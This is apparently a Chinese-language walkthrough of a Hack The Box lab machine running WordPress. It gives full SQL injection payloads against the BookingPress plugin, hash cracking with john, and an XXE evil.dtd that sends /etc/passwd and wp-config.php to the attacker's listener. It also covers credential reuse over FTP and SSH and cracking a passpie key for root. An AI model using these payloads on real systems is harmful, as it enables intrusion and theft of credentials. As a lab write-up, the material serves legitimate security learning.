OverView
主要考点:
- wordpress 用户表
- nginx 配置文件路径
- ftp 操作
- passpie 密码管理工具破解密码
闲来无事打了一下 HTB 上的一个靶机,感觉还是挺有收获
SQL Inject
首先 nmap 扫描了一下靶机端口,开放了 21、22、80 端口。其中 21 似乎是 ftp 协议端口。打开 80 端口,发现是 wordpress 站点。指纹推测是 5.6.2 的版本,并且是 nginx 起的服务,直接使用 wpsscan –api-token 扫描,没有扫描到什么插件,尝试了好久 wpscan 扫描结果给出的可能存在的漏洞,均无果。思路暂时卡住。
点开网站首页给出的链接 http://metapress.htb/events/ 查看页面源代码发现了一个插件
bookingpress,反正 wpscan 是没扫描出来,谷歌搜索很快就能够找到这个插件的 SQL 注入漏洞
https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
很容易看懂操作,首先尝试直接 getShell。
action=bookingpress_front_get_category_services&_wpnonce=2cb25f3de8&category_id=33&total_service=-7502) UNION ALL SELECT @@version,user(),@@global.secure_file_priv,1,2,3,4,5,6-- -
发现为 null 因此想要直接 SELECT INTO OUTFILE 是走不通了,那就只能够读取数据了
首先读数据库
action=bookingpress_front_get_category_services&_wpnonce=2cb25f3de8&category_id=33&total_service=-7502) UNION SELECT 9,group_concat(SCHEMA_NAME),10,1,2,3,4,5,6 from information_schema.SCHEMATA-- -
发现存在两个数据库,information_schema 和 blog
查询表
action=bookingpress_front_get_category_services&_wpnonce=2cb25f3de8&category_id=33&total_service=-7502) UNION SELECT 9,group_concat(TABLE_NAME),10,1,2,3,4,5,6 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = DATABASE()-- -
最终通过搜索可以知道 wordpress 用户存放的表
读取用户名和密码
action=bookingpress_front_get_category_services&_wpnonce=2cb25f3de8&category_id=33&total_service=-7502) UNION SELECT 9,group_concat(user_login),group_concat(user_pass),1,2,3,4,5,6 FROM wp_users -- -
内容如下
admin $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager $P$B4aNM28N0E.tMy\/JIcnVMZbGcU16Q70
其中 manager 的一个 \ 是转义的意思。但是这个密码显然是加密过的,无法直接登录
用 Kali 的 john 工具尝试破解密码。具体操作便是将上述加密的密码写入一个文件中,然后直接命令行 john xxx.txt 即可进行尝试爆破破解
最终得到 manager 的密码是 partylikearockstar
XXE Bild Read File
成功登录后台,但是并不是管理员。这个时候想起前面用 wpscan 发现的漏洞。
直接使用 CVE-2021-29447 https://github.com/motikan2010/CVE-2021-29447这个漏洞是通过上传一个恶意的媒体然后就可以直接 XEE 读取文件。
修改 attack/www 目录下的 evil.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.29:8001/?p=%file;'>" >
启动好服务器,安装 github.com 上面给出的做法做出恶意的媒体文件,最终尝试上传发现可以利用
那么该读取什么文件呢?由于站点是 wordpress 因此 wp-config.php 中存在一下敏感信息。但是我们并不知道网站的路径,无法直接读取。因此尝试读取 nginx 配置文件。但是在常规的
/usr/sbin/nginx
/etc/nginx/conf/nginx.conf
/usr/local/nginx/conf/nginx.conf
/etc/nginx/conf.d 这是一个目录
均没有读取到内容。查看了题解发现读取的是
/etc/nginx/sites-enabled/default
读取内容如下:
server {
listen 80;
listen [::]:80;
root /var/www/metapress.htb/blog;
index index.php index.html;
if ($http_host != "metapress.htb") {
rewrite ^ http://metapress.htb/;
}
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
}
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
expires max;
log_not_found off;
}
}
Ftp download file
这下就很容易知道 wp-config.php 的路径了,修改 evil.dtd 如下
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.29:8001/?p=%file;'>" >
同样的步骤,得到内容
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
虽然我们得到了数据库的密码,但是 3306 端口并没有对外开启。因此我们可以利用 ftp 连接上去。看看能不能用 put 命令上传文件。
ftp 10.10.11.186
输入用户和密码
不幸的是没有 put 权限,甚至是 /tmp 目录 但是通过 ls 命令可以在 Mail 目录下通过 get 命令下载到 send_email.php
user.txt
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "[email protected]";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "[email protected]";
$mail->FromName = "James Nelson";
$mail->addAddress("[email protected]");
$mail->isHTML(true);
$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";
try {
$mail->send();
echo "Message has been sent successfully";
} catch (Exception $e) {
echo "Mailer Error: " . $mail->ErrorInfo;
}
这下不久看到了 password 和 username 了吗,直接尝试用
jnelson 和 Cb4_JmWM8zUZWMu@Ys 进行登录
ssh [email protected]
登录成功。并且直接获得第一个 flag
然后去 https://github.com/carlospolop/PEASS-ng 下载了 PEASS-ng 这个辅助提权脚本,在自己的机器上开启服务,然后目标机器上 wget 下载。尝试了给出的好多可能利用的 CVE 提权,但都没有什么用
root.txt
ls -al 查看到了隐藏文件并下载
同理下载了 root.pass 文件
又由于是在 passpie 目录下,我们知道 passpie 是一个密码管理工具,而我们只需要破解了 passpie 的管理密码就可以用命令行 passpie export pass
导出密码
首先我们将下载到的 key 的公钥部分删除,只保留私钥部分,然后用 gpg2john 和 john 工具尝试爆破 passpie 密码
sudo john -w:/usr/share/wordlists/rockyou.txt hash
我们将密码导出到 pass 文件,但是在当前目录下没有创建文件权限,我们随便找到一个可以写文件的目录
最终得到了密码
su root
至此获得完全部的 Flag